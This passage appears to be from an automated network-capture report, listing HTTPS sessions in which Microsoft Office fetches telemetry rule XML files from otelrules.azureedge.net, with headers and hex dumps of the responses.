2024-11-21 02:09:23 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:23 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:23 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:23 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a4032f19-b01e-0084-598d-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020923Z-1777c6cb754mrj2shC1TEB6k7w0000000afg00000000shdh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:23 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:25 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:25 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020925Z-1777c6cb754lvj6mhC1TEBke940000000ac000000000y9c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:25 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:25 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:25 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c1bcbb00-101e-0065-7560-3b4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020925Z-178bfbc474bfw4gbhC1NYCunf400000000q0000000018hpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:25 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:25 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:25 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020925Z-1777c6cb754g9zd5hC1TEBfvpw0000000ae000000000xnny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:25 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:25 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:25 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e332bc5f-001e-000b-6e5c-3b15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020925Z-178bfbc474bq2pr7hC1NYCkfgg000000010g000000008f4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:26 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:25 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:26 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020926Z-r1d97b99577hc74hhC1TEBvbns00000009n00000000062qh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:26 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:27 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:28 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 726a11ee-001e-0066-4164-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020927Z-178bfbc474bxkclvhC1NYC69g400000000s000000000g8e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:28 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:27 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:28 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:27 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 736e7e4b-801e-0035-118c-3a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020927Z-r1d97b99577kk29chC1TEBemmg00000009rg00000000dz9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:28 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:27 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:28 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:28 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6d467d74-a01e-0050-5286-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020928Z-1777c6cb754gc8g6hC1TEB966c0000000af0000000008z2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:28 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:27 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:28 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:28 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: afbccb0e-001e-0049-05a6-3b5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020928Z-r1d97b99577l6wbzhC1TEB3fwn00000009vg0000000088h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:28 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:28 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:28 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:28 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: f2376ea7-e01e-000c-078c-3a8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020928Z-178bfbc474bp8mkvhC1NYCzqnn00000000pg00000000evy2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:28 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
